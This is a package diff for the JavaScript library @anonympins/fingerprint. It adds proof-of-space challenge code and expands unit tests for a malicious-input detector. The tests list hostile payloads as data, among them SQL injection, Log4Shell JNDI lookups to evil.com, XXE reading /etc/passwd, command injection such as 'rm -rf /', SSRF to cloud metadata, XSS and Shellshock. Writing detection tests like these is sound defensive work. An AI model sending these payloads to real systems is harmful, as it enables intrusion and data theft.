@anonympins/fingerprint 0.4.5 → 0.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -9,6 +9,106 @@
9
9
 
10
10
  'use strict';
11
11
 
12
+ function cyrb53(str, seed = 0) {
13
+ let h1 = 0xdeadbeef ^ seed,
14
+ h2 = 0x41c6ce57 ^ seed;
15
+ for (let i = 0, ch; i < str.length; i++) {
16
+ ch = str.charCodeAt(i);
17
+ h1 = Math.imul(h1 ^ ch, 2654435761);
18
+ h2 = Math.imul(h2 ^ ch, 1597334677);
19
+ }
20
+ h1 = Math.imul(h1 ^ (h1 >>> 16), 2246822507) ^ Math.imul(h2 ^ (h2 >>> 13), 3266489909);
21
+ h2 = Math.imul(h2 ^ (h2 >>> 16), 2246822507) ^ Math.imul(h1 ^ (h1 >>> 13), 3266489909);
22
+ return 4294967296 * (2097151 & h2) + (h1 >>> 0);
23
+ }
24
+
25
+ function openDb() {
26
+ return new Promise((resolve, reject) => {
27
+ const request = indexedDB.open("pospace-db", 1);
28
+ request.onupgradeneeded = (e) => {
29
+ const db = e.target.result;
30
+ if (!db.objectStoreNames.contains("blocks")) {
31
+ db.createObjectStore("blocks");
32
+ }
33
+ };
34
+ request.onsuccess = (e) => resolve(e.target.result);
35
+ request.onerror = (e) => reject(e.target.error);
36
+ });
37
+ }
38
+
39
+ function generateBlock(seed, blockIndex, blockSize = 1024) {
40
+ const block = new Uint8Array(blockSize);
41
+ let h = cyrb53(seed + ":" + blockIndex);
42
+ for (let i = 0; i < blockSize; i++) {
43
+ h = Math.imul(h ^ i, 1597334677);
44
+ block[i] = h & 0xff;
45
+ }
46
+ return block;
47
+ }
48
+
49
+ export async function initializeSpace(seed, sizeMb) {
50
+ const db = await openDb();
51
+ const transaction = db.transaction("blocks", "readwrite");
52
+ const store = transaction.objectStore("blocks");
53
+ const numBlocks = sizeMb * 1024;
54
+ const metadataKey = "pospace-metadata";
55
+
56
+ const metaReq = store.get(metadataKey);
57
+ const meta = await new Promise((resolve) => {
58
+ metaReq.onsuccess = () => resolve(metaReq.result);
59
+ });
60
+ if (meta && meta.sizeMb === sizeMb && meta.seed === seed) {
61
+ return;
62
+ }
63
+
64
+ const CHUNK_SIZE = 1000;
65
+ for (let i = 0; i < numBlocks; i += CHUNK_SIZE) {
66
+ const end = Math.min(numBlocks, i + CHUNK_SIZE);
67
+ for (let j = i; j < end; j++) {
68
+ const block = generateBlock(seed, j);
69
+ store.put(block, j);
70
+ }
71
+ await new Promise(r => setTimeout(r, 0));
72
+ }
73
+ store.put({ sizeMb, seed }, metadataKey);
74
+ }
75
+
76
+ export async function solveSpaceChallenge(seed, queries, nonce, clientSecret, peerBlock = '') {
77
+ const db = await openDb();
78
+ const transaction = db.transaction("blocks", "readonly");
79
+ const store = transaction.objectStore("blocks");
80
+
81
+ let combined = new Uint8Array(queries.length * 1024);
82
+ for (let i = 0; i < queries.length; i++) {
83
+ const idx = queries[i];
84
+ const getReq = store.get(idx);
85
+ let block = await new Promise((resolve) => {
86
+ getReq.onsuccess = () => resolve(getReq.result);
87
+ });
88
+ if (!block) {
89
+ block = generateBlock(seed, idx);
90
+ }
91
+ combined.set(block, i * 1024);
92
+ }
93
+
94
+ let finalCombined = combined;
95
+ if (peerBlock) {
96
+ const peerBytes = new Uint8Array(peerBlock.match(/.{1,2}/g).map(byte => parseInt(byte, 16)));
97
+ finalCombined = new Uint8Array(combined.length + peerBytes.length);
98
+ finalCombined.set(combined);
99
+ finalCombined.set(peerBytes, combined.length);
100
+ }
101
+
102
+ const encoder = new TextEncoder();
103
+ const nonceBytes = encoder.encode(nonce + ":" + clientSecret);
104
+ const finalBlock = new Uint8Array(finalCombined.length + nonceBytes.length);
105
+ finalBlock.set(finalCombined);
106
+ finalBlock.set(nonceBytes, finalCombined.length);
107
+
108
+ const buf = await crypto.subtle.digest("SHA-256", finalBlock);
109
+ return Array.from(new Uint8Array(buf)).map(b => b.toString(16).padStart(2, '0')).join('');
110
+ }
111
+
12
112
  /**
13
113
  * Résout un challenge CPU basé sur une cible en utilisant un bloc de base binaire.
14
114
  * @param {Uint8Array} baseBlock - Le bloc de données initial (nonce, secret, fp) fourni par le serveur.
@@ -458,7 +558,7 @@ class ChallengeSolution {
458
558
  * @returns {Promise<ChallengeSolution>} Un objet `ChallengeSolution` encapsulant le résultat.
459
559
  */
460
560
  export async function solveChallenge(challenge, fingerprint = '') { // The fingerprint is now passed from the client library
461
- const { type, nonce, clientSecret, cpuTarget, memDifficulty, cities, clientIp, targetMaxDistance, optimizationTask, usefulWorkTask } = challenge;
561
+ const { type, nonce, clientSecret, cpuTarget, memDifficulty, cities, clientIp, targetMaxDistance, optimizationTask, usefulWorkTask, queries, sizeMb } = challenge;
462
562
  let rawSolution = {};
463
563
 
464
564
  switch (type) {
@@ -515,6 +615,10 @@ export async function solveChallenge(challenge, fingerprint = '') { // The finge
515
615
  rawSolution.work_result = workResult;
516
616
  rawSolution.problem_id = usefulWorkTask.problemId;
517
617
  break;
618
+ case 'pospace':
619
+ await initializeSpace(nonce + ":" + clientSecret, sizeMb || 100);
620
+ rawSolution.hash = await solveSpaceChallenge(nonce + ":" + clientSecret, queries, nonce, clientSecret);
621
+ break;
518
622
  default:
519
623
  throw new Error(`Unknown challenge type: ${type}`);
520
624
  }
@@ -1,117 +1,235 @@
1
- import {describe, expect, it} from 'vitest';
2
- import {isMalicious} from '../fingerprint.js';
3
-
4
- // We import the function directly to test it in isolation, avoiding vite:define errors.
5
-
6
- describe('isMalicious Unit Tests', () => {
7
-
8
- describe('SQL and NoSQL Injections', () => {
9
- it.each([
10
- ["' OR '1'='1'"],
11
- ["' or '1'='1' --"],
12
- ["UNION SELECT username, password FROM users"],
13
- ["; DROP TABLE products;--"],
14
- ["SLEEP(5)"],
15
- ["BENCHMARK(10000,MD5('a'))"],
16
- ["WAITFOR DELAY '0:0:5'"],
17
- ['{"$ne": null}'],
18
- ])('should detect malicious SQL/NoSQL pattern: %s', (payload) => {
19
- expect(isMalicious(payload)).toBe(true);
20
- });
21
-
22
- it.each([
23
- ["A normal comment -- for a blog post."],
24
- ["Please select your union representative."],
25
- ["The price is not equal to $10."],
26
- ["My favorite song is 'Stairway to Heaven'."],
27
- ])('should NOT detect legitimate string: %s', (payload) => {
28
- expect(isMalicious(payload)).toBe(false);
29
- });
30
- });
31
-
32
- describe('Log4Shell (JNDI Injection)', () => {
33
- it.each([
34
- ["${jndi:ldap://evil.com/a}"],
35
- ["${jndi:rmi://evil.com/a}"],
36
- ["${jndi:dns://evil.com/a}"],
37
- ["${JNDI:LDAP://evil.com/a}"], // Case-insensitive
38
- ])('should detect Log4Shell pattern: %s', (payload) => {
39
- expect(isMalicious(payload)).toBe(true);
40
- });
41
-
42
- it.each([
43
- ["The variable is ${user.name}"],
44
- ["This is a normal log message."],
45
- ])('should NOT detect legitimate log message: %s', (payload) => {
46
- expect(isMalicious(payload)).toBe(false);
47
- });
48
- });
49
-
50
- describe('Server-Side Template Injection (SSTI)', () => {
51
- it.each([
52
- ["{{ 7*7 }}"],
53
- ["{% if user.isAdmin %}{% endif %}"],
54
- ["Hello {{user.name}}"], // Potentially risky
55
- ])('should detect SSTI pattern: %s', (payload) => {
56
- expect(isMalicious(payload)).toBe(true);
57
- });
58
-
59
- it.each([
60
- ["A normal string with {curly braces}"],
61
- ["(100%)"],
62
- ])('should NOT detect legitimate string with braces: %s', (payload) => {
63
- expect(isMalicious(payload)).toBe(false);
64
- });
65
- });
66
-
67
- describe('XML External Entity (XXE)', () => {
68
- it.each([
69
- ['<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'],
70
- ['<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">'],
71
- ])('should detect XXE pattern: %s', (payload) => {
72
- expect(isMalicious(payload)).toBe(true);
73
- });
74
-
75
- it.each([
76
- ["<!DOCTYPE html>"],
77
- ["<note><to>Tove</to></note>"],
78
- ])('should NOT detect legitimate XML/HTML: %s', (payload) => {
79
- expect(isMalicious(payload)).toBe(false);
80
- });
81
- });
82
-
83
- describe('Path Traversal', () => {
84
- it.each([
85
- ["../../../../etc/passwd"],
86
- ["..\\..\\..\\..\\windows\\system32\\config.sam"],
87
- ])('should detect Path Traversal pattern: %s', (payload) => {
88
- expect(isMalicious(payload)).toBe(true);
89
- });
90
-
91
- it.each([
92
- ["path/to/a/legitimate/file.txt"],
93
- ["Just two dots.. not a traversal."],
94
- ])('should NOT detect legitimate path: %s', (payload) => {
95
- expect(isMalicious(payload)).toBe(false);
96
- });
97
- });
98
-
99
- describe('Command Injection', () => {
100
- it.each([
101
- ["/path/to/script.sh; ls -la "],
102
- ["127.0.0.1 && whoami "],
103
- ["`reboot`"],
104
- ["filename.txt\ncat /etc/passwd "],
105
- [" | rm -rf /"], // Pipe before a dangerous command
106
- ])('should detect Command Injection pattern: %s', (payload) => {
107
- expect(isMalicious(payload)).toBe(true);
108
- });
109
-
110
- it.each([
111
- ["A normal command like ls -la /tmp"],
112
- ["Use the pipe | for output redirection."],
113
- ])('should NOT detect legitimate command-like string: %s', (payload) => {
114
- expect(isMalicious(payload)).toBe(false); // This will fail with the old regex
115
- });
116
- });
1
+ import {describe, expect, it} from 'vitest';
2
+ import {isMalicious} from '../fingerprint.js';
3
+
4
+ // We import the function directly to test it in isolation, avoiding vite:define errors.
5
+
6
+ describe('isMalicious Unit Tests', () => {
7
+
8
+ describe('SQL and NoSQL Injections', () => {
9
+ it.each([
10
+ ["' OR '1'='1'"],
11
+ ["' or '1'='1' --"],
12
+ ["UNION SELECT username, password FROM users"],
13
+ ["; DROP TABLE products;--"],
14
+ ["SLEEP(5)"],
15
+ ["BENCHMARK(10000,MD5('a'))"],
16
+ ["WAITFOR DELAY '0:0:5'"],
17
+ ['{"$ne": null}'],
18
+ ])('should detect malicious SQL/NoSQL pattern: %s', (payload) => {
19
+ expect(isMalicious(payload)).toBe(true);
20
+ });
21
+
22
+ it.each([
23
+ ["A normal comment -- for a blog post."],
24
+ ["Please select your union representative."],
25
+ ["The price is not equal to $10."],
26
+ ["My favorite song is 'Stairway to Heaven'."],
27
+ ])('should NOT detect legitimate string: %s', (payload) => {
28
+ expect(isMalicious(payload)).toBe(false);
29
+ });
30
+ });
31
+
32
+ describe('Log4Shell (JNDI Injection)', () => {
33
+ it.each([
34
+ ["${jndi:ldap://evil.com/a}"],
35
+ ["${jndi:rmi://evil.com/a}"],
36
+ ["${jndi:dns://evil.com/a}"],
37
+ ["${JNDI:LDAP://evil.com/a}"], // Case-insensitive
38
+ ])('should detect Log4Shell pattern: %s', (payload) => {
39
+ expect(isMalicious(payload)).toBe(true);
40
+ });
41
+
42
+ it.each([
43
+ ["The variable is ${user.name}"],
44
+ ["This is a normal log message."],
45
+ ])('should NOT detect legitimate log message: %s', (payload) => {
46
+ expect(isMalicious(payload)).toBe(false);
47
+ });
48
+ });
49
+
50
+ describe('Server-Side Template Injection (SSTI)', () => {
51
+ it.each([
52
+ ["{{ 7*7 }}"],
53
+ ["{% if user.isAdmin %}{% endif %}"],
54
+ ["Hello {{user.name}}"], // Potentially risky
55
+ ])('should detect SSTI pattern: %s', (payload) => {
56
+ expect(isMalicious(payload)).toBe(true);
57
+ });
58
+
59
+ it.each([
60
+ ["A normal string with {curly braces}"],
61
+ ["(100%)"],
62
+ ])('should NOT detect legitimate string with braces: %s', (payload) => {
63
+ expect(isMalicious(payload)).toBe(false);
64
+ });
65
+ });
66
+
67
+ describe('XML External Entity (XXE)', () => {
68
+ it.each([
69
+ ['<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>'],
70
+ ['<!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd">'],
71
+ ])('should detect XXE pattern: %s', (payload) => {
72
+ expect(isMalicious(payload)).toBe(true);
73
+ });
74
+
75
+ it.each([
76
+ ["<!DOCTYPE html>"],
77
+ ["<note><to>Tove</to></note>"],
78
+ ])('should NOT detect legitimate XML/HTML: %s', (payload) => {
79
+ expect(isMalicious(payload)).toBe(false);
80
+ });
81
+ });
82
+
83
+ describe('Path Traversal', () => {
84
+ it.each([
85
+ ["../../../../etc/passwd"],
86
+ ["..\\..\\..\\..\\windows\\system32\\config.sam"],
87
+ ])('should detect Path Traversal pattern: %s', (payload) => {
88
+ expect(isMalicious(payload)).toBe(true);
89
+ });
90
+
91
+ it.each([
92
+ ["path/to/a/legitimate/file.txt"],
93
+ ["Just two dots.. not a traversal."],
94
+ ])('should NOT detect legitimate path: %s', (payload) => {
95
+ expect(isMalicious(payload)).toBe(false);
96
+ });
97
+ });
98
+
99
+ describe('Command Injection', () => {
100
+ it.each([
101
+ ["/path/to/script.sh; ls -la "],
102
+ ["127.0.0.1 && whoami "],
103
+ ["`reboot`"],
104
+ ["filename.txt\ncat /etc/passwd "],
105
+ [" | rm -rf /"], // Pipe before a dangerous command
106
+ ])('should detect Command Injection pattern: %s', (payload) => {
107
+ expect(isMalicious(payload)).toBe(true);
108
+ });
109
+
110
+ it.each([
111
+ ["A normal command like ls -la /tmp"],
112
+ ["Use the pipe | for output redirection."],
113
+ ])('should NOT detect legitimate command-like string: %s', (payload) => {
114
+ expect(isMalicious(payload)).toBe(false); // This will fail with the old regex
115
+ });
116
+ });
117
+
118
+ describe('Server-Side Request Forgery (SSRF)', () => {
119
+ it.each([
120
+ ["http://127.0.0.1/admin"],
121
+ ["https://localhost:8080"],
122
+ ["http://169.254.169.254/latest/meta-data/"],
123
+ ["http://[::1]/"],
124
+ ])('should detect SSRF pattern: %s', (payload) => {
125
+ expect(isMalicious(payload)).toBe(true);
126
+ });
127
+
128
+ it.each([
129
+ ["https://google.com"],
130
+ ["https://github.com/login"],
131
+ ])('should NOT detect legitimate external URL: %s', (payload) => {
132
+ expect(isMalicious(payload)).toBe(false);
133
+ });
134
+ });
135
+
136
+ describe('CRLF Injection', () => {
137
+ it.each([
138
+ ["malicious\r\nSet-Cookie: session=evil"],
139
+ ["%0d%0aSet-Cookie: session=evil"],
140
+ ])('should detect CRLF pattern: %s', (payload) => {
141
+ expect(isMalicious(payload)).toBe(true);
142
+ });
143
+
144
+ it.each([
145
+ ["normal text without carriage returns"],
146
+ ])('should NOT detect normal text: %s', (payload) => {
147
+ expect(isMalicious(payload)).toBe(false);
148
+ });
149
+ });
150
+
151
+ describe('Cross-Site Scripting (XSS)', () => {
152
+ it.each([
153
+ ["<script>alert(1)</script>"],
154
+ ["javascript:alert(1)"],
155
+ ["<img src=x onerror=alert(1)>"],
156
+ ["<iframe src=javascript:alert(1)>"],
157
+ ])('should detect XSS pattern: %s', (payload) => {
158
+ expect(isMalicious(payload)).toBe(true);
159
+ });
160
+
161
+ it.each([
162
+ ["This is a normal paragraph with some <b>bold</b> text."],
163
+ ])('should NOT detect clean HTML/text: %s', (payload) => {
164
+ expect(isMalicious(payload)).toBe(false);
165
+ });
166
+ });
167
+
168
+ describe('Open Redirect', () => {
169
+ it.each([
170
+ ["https://evil.com"],
171
+ ["http://malicious-site.org/redirect"],
172
+ ["//attacker.com"],
173
+ ])('should detect Open Redirect pattern: %s', (payload) => {
174
+ expect(isMalicious(payload, ['openRedirect'])).toBe(true);
175
+ });
176
+
177
+ it.each([
178
+ ["/local/path/to/page"],
179
+ ["http://localhost/dashboard"],
180
+ ["http://127.0.0.1:3000/profile"],
181
+ ])('should NOT detect local redirect path: %s', (payload) => {
182
+ expect(isMalicious(payload, ['openRedirect'])).toBe(false);
183
+ });
184
+ });
185
+
186
+ describe('Local/Remote File Inclusion (LFI/RFI)', () => {
187
+ it.each([
188
+ ["etc/passwd"],
189
+ ["win.ini"],
190
+ ["php://filter/read=convert.base64-encode/resource=index.php"],
191
+ ["data://text/plain;base64,SSBsb3ZlIFBIUAo="],
192
+ ])('should detect LFI/RFI pattern: %s', (payload) => {
193
+ expect(isMalicious(payload)).toBe(true);
194
+ });
195
+
196
+ it.each([
197
+ ["/var/www/html/index.php"],
198
+ ["My computer runs windows, yours runs linux."],
199
+ ])('should NOT detect normal filenames or terms: %s', (payload) => {
200
+ expect(isMalicious(payload)).toBe(false);
201
+ });
202
+ });
203
+
204
+ describe('Shellshock (CVE-2014-6271)', () => {
205
+ it.each([
206
+ ["() { :; }; echo 'Vulnerable'"],
207
+ ["() { :;}; /bin/bash"],
208
+ ])('should detect Shellshock pattern: %s', (payload) => {
209
+ expect(isMalicious(payload)).toBe(true);
210
+ });
211
+
212
+ it.each([
213
+ ["function test() { echo 'Not Shellshock'; }"],
214
+ ])('should NOT detect normal functions: %s', (payload) => {
215
+ expect(isMalicious(payload)).toBe(false);
216
+ });
217
+ });
218
+
219
+ describe('NoSQL MongoDB Operator Injection', () => {
220
+ it.each([
221
+ ["$gt"],
222
+ ["$elemMatch"],
223
+ ["$where"],
224
+ ])('should detect NoSQL pattern: %s', (payload) => {
225
+ expect(isMalicious(payload)).toBe(true);
226
+ });
227
+
228
+ it.each([
229
+ ["This costs $100 dollars"],
230
+ ["No operators here"],
231
+ ])('should NOT detect normal dollar signs: %s', (payload) => {
232
+ expect(isMalicious(payload)).toBe(false);
233
+ });
234
+ });
117
235
  });